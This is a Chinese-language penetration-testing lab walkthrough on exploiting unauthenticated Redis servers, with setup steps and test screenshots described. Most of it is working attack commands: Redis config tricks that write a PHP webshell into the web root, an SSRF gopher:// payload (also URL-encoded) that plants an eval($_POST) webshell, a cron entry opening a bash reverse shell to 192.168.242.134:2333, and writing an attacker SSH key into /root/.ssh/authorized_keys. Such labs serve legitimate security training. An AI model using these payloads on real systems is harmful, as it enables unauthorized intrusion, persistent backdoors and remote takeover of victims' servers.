概述
Redis在内网渗透中比较常见,在扫描的时候扫描出6379的端口号就可以尝试一个redis未授权的攻击
攻击前提:
安装启动的时候默认不需要认证,并且redis可以向服务器写入文件
攻击思路
如果改redis所在服务器有web服务,可以直接在根目录下写一句话木马直接连接
如果存在ssh服务,直接写入公钥,实现免密码登陆
也可以写个脚本在计划任务里
部署环境
centos安装Redis
进入yum源目录下,下载redis网络源
cd /etc/yum.repos.d
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
yum install redis* -y 安装redis
启动redis
redis-server
直接客户端连接,发现可以直接连接
写入WEB根目录文件
flushall
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>' //相当于key value值
save
quit
查看文件存在
成功写入
redis配合ssrf
利用ssrf漏洞的gopher协议一些执行命令
gopher协议支持发出GET、POST请求,gopher 协议可以在特定的端口上进行相关命令的执行
redis配合ssrf进行写入一句话木马
gopher://127.0.0.1:6379/_set 1 "<?php eval($_POST[1]); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save
url编码后
gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A
redis写入反弹shell到计划任务里
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n"
config set dir /etc
config set dbfilename crontab
save
redis写入ssh公钥实现免密码登陆ssh
redis写入ssh公钥
config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC"
save
quit
kali 开启 redis和ssh服务
不过kali的redis版本太高,需要关闭保护设置
vim /etc/redis/redis.conf
设置关闭之后redis就未授权了
查看kali开启的服务
发现ssh和redis都开启了
开启一台win7安装
点击进入bash解释器
在命令解释器输入
ssh-keygen -t rsa
authorized_keys
发现生成一个.ssh的文件夹
生成一个公钥和私钥
点开发现
复制公钥,放进受害者主机的ssh目录下
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDK0FLlLRSKNv3vB8VoNDYLtmECpgUMg+eAWa8qCisXEpTDoP78YTgqRghHuKytez2CutHMNblTt23cWB99sZE6vTF60WSXgXVX07abFti7GAQiCuV4hK/W1mxSiX6p+gLeo315c4kPngahu6/GykQerrVrSU7DK3tD45eGxvZlptTKBoZXcEC43PknTHLZ6mIAjO9oXeFi8bRYVdF8Khp/EEoxSfsr3/rF1Fp8bF/dIsmL7qw1xQniqXGU7KbLGNZdDvYtukojfeZe1F8BVHFVyRtfZQhU/omYOnoOPa/GIXUFBcg+KD+tN107QIlz7dZNQXNhMPcXNQteiHlqMOpnoVaAgN9/03/q2O7rlK6ON1mDmuLuspb+T0Mt/UI6XOkDxgtGxDNljyb967/ShG04lLnImkVBgoi2Qpa+XG32WecfH7QJHFW8eZTdaojPQ0iko2gmSe7CONDMIVsYRrYttiwXYaeR0/QJaJ56I11jSqSy1kBL62niqokcINIAqSs= xiu@xiu-PC
将公钥写在哪个家目录下,哪个用户就可以进行ssh免密登陆
我们这里写在kali的家目录下
win7ssh登陆
发现登陆进kali主机